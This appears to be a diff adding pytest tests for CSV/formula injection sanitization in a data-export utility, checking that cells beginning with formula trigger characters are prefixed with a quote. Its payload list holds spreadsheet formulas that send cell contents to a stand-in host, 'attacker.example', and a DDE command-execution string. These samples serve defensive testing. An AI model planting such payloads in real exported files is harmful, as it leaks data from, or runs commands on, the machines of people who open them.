|
| 1 | +""" |
| 2 | +Tests for CSV/formula injection sanitization in export_csv (CWE-1236). |
| 3 | +
|
| 4 | +Scraped, attacker-influenced data (e.g. product titles from untrusted sites) |
| 5 | +must not be written verbatim into CSV cells when the value would be |
| 6 | +interpreted as a formula by Excel/Google Sheets/LibreOffice (leading |
| 7 | +'=', '+', '-', '@', tab, or CR). By default export_csv now prefixes such |
| 8 | +values with a single quote; `sanitize=False` preserves the old byte-exact |
| 9 | +behavior for callers who explicitly opt out. |
| 10 | +""" |
| 11 | + |
| 12 | +import csv |
| 13 | + |
| 14 | +import pytest |
| 15 | + |
| 16 | +from brightdata.datasets.utils import export, export_csv |
| 17 | + |
| 18 | +FORMULA_PAYLOADS = [ |
| 19 | + '=HYPERLINK("https://attacker.example/leak?p="&A1,"click")', |
| 20 | + '+WEBSERVICE("https://attacker.example/exfil")', |
| 21 | + "-2+3", |
| 22 | + "@SUM(1,1)", |
| 23 | + '=cmd|"/c calc"!A0', |
| 24 | +] |
| 25 | + |
| 26 | + |
| 27 | +class TestExportCsvSanitization: |
| 28 | + def test_default_sanitizes_formula_prefixes(self, tmp_path): |
| 29 | + data = [{"name": payload} for payload in FORMULA_PAYLOADS] |
| 30 | + filepath = export_csv(data, tmp_path / "out.csv") |
| 31 | + |
| 32 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 33 | + reader = csv.DictReader(f) |
| 34 | + assert reader.fieldnames == ["name"] |
| 35 | + rows = list(reader) |
| 36 | + |
| 37 | + # Sanitization must not drop, merge, or duplicate rows/columns even |
| 38 | + # though several payloads contain commas and embedded quotes that |
| 39 | + # exercise the CSV module's own quoting. |
| 40 | + assert len(rows) == len(FORMULA_PAYLOADS) |
| 41 | + for row, payload in zip(rows, FORMULA_PAYLOADS): |
| 42 | + # Reader gives us the value with the CSV-level quoting already |
| 43 | + # stripped, so a leading "'" means our sanitizer ran. |
| 44 | + assert row["name"] == "'" + payload |
| 45 | + |
| 46 | + def test_safe_values_are_untouched(self, tmp_path): |
| 47 | + data = [{"name": "Regular Product Name", "price": "19.99", "count": 5}] |
| 48 | + filepath = export_csv(data, tmp_path / "out.csv") |
| 49 | + |
| 50 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 51 | + rows = list(csv.DictReader(f)) |
| 52 | + |
| 53 | + assert rows[0]["name"] == "Regular Product Name" |
| 54 | + assert rows[0]["price"] == "19.99" |
| 55 | + assert rows[0]["count"] == "5" |
| 56 | + |
| 57 | + def test_sanitize_false_preserves_legacy_behavior(self, tmp_path): |
| 58 | + payload = '=HYPERLINK("https://attacker.example/leak","x")' |
| 59 | + data = [{"name": payload}] |
| 60 | + filepath = export_csv(data, tmp_path / "out.csv", sanitize=False) |
| 61 | + |
| 62 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 63 | + rows = list(csv.DictReader(f)) |
| 64 | + |
| 65 | + assert rows[0]["name"] == payload |
| 66 | + |
| 67 | + def test_non_string_values_are_unaffected(self, tmp_path): |
| 68 | + data = [{"count": 5, "ratio": 1.5, "active": True, "missing": None}] |
| 69 | + filepath = export_csv(data, tmp_path / "out.csv") |
| 70 | + |
| 71 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 72 | + rows = list(csv.DictReader(f)) |
| 73 | + |
| 74 | + assert rows[0]["count"] == "5" |
| 75 | + assert rows[0]["ratio"] == "1.5" |
| 76 | + assert rows[0]["active"] == "True" |
| 77 | + assert rows[0]["missing"] == "" |
| 78 | + |
| 79 | + def test_flattened_nested_values_use_flattened_string_for_sanitization(self, tmp_path): |
| 80 | + # Sanitization runs after JSON-flattening. json.dumps always wraps |
| 81 | + # lists/dicts in '[' or '{', so the flattened string itself is never |
| 82 | + # mistaken for a formula - this pins down that ordering/behavior. |
| 83 | + data = [{"tags": ["=1+1", "safe"]}] |
| 84 | + filepath = export_csv(data, tmp_path / "out.csv") |
| 85 | + |
| 86 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 87 | + rows = list(csv.DictReader(f)) |
| 88 | + |
| 89 | + assert rows[0]["tags"] == '["=1+1", "safe"]' |
| 90 | + |
| 91 | + @pytest.mark.parametrize("trigger", ["=", "+", "-", "@", "\t", "\r"]) |
| 92 | + def test_all_documented_trigger_characters_are_escaped(self, tmp_path, trigger): |
| 93 | + data = [{"name": f"{trigger}payload"}] |
| 94 | + filepath = export_csv(data, tmp_path / "out.csv") |
| 95 | + |
| 96 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 97 | + rows = list(csv.DictReader(f)) |
| 98 | + |
| 99 | + assert rows[0]["name"] == f"'{trigger}payload" |
| 100 | + |
| 101 | + def test_export_auto_detect_forwards_sanitize_kwarg(self, tmp_path): |
| 102 | + payload = '=HYPERLINK("https://attacker.example/leak","x")' |
| 103 | + data = [{"name": payload}] |
| 104 | + filepath = export(data, tmp_path / "out.csv", sanitize=False) |
| 105 | + |
| 106 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 107 | + rows = list(csv.DictReader(f)) |
| 108 | + |
| 109 | + assert rows[0]["name"] == payload |
| 110 | + |
| 111 | + def test_empty_data_still_touches_file(self, tmp_path): |
| 112 | + filepath = export_csv([], tmp_path / "out.csv") |
| 113 | + assert filepath.exists() |
| 114 | + assert filepath.read_text(encoding="utf-8") == "" |
| 115 | + |
| 116 | + def test_output_is_well_formed_csv_across_multiple_rows_and_columns(self, tmp_path): |
| 117 | + # Mixes sanitized and unsanitized values across several rows/columns |
| 118 | + # to make sure escaping one cell doesn't corrupt column alignment, |
| 119 | + # row count, or the header for the rest of the file. |
| 120 | + data = [ |
| 121 | + {"name": '=HYPERLINK("https://x","y")', "price": "9.99", "note": "ok"}, |
| 122 | + {"name": "Regular Item", "price": "-1.00", "note": "@mention in review"}, |
| 123 | + {"name": "Another Item", "price": "5.00", "note": "plain text"}, |
| 124 | + ] |
| 125 | + filepath = export_csv(data, tmp_path / "out.csv") |
| 126 | + |
| 127 | + with open(filepath, newline="", encoding="utf-8") as f: |
| 128 | + reader = csv.DictReader(f) |
| 129 | + assert reader.fieldnames == ["name", "price", "note"] |
| 130 | + rows = list(reader) |
| 131 | + |
| 132 | + assert len(rows) == len(data) |
| 133 | + assert rows[0]["name"] == '\'=HYPERLINK("https://x","y")' |
| 134 | + assert rows[0]["price"] == "9.99" |
| 135 | + assert rows[1]["price"] == "'-1.00" |
| 136 | + assert rows[1]["note"] == "'@mention in review" |
| 137 | + assert rows[2] == {"name": "Another Item", "price": "5.00", "note": "plain text"} |
0 commit comments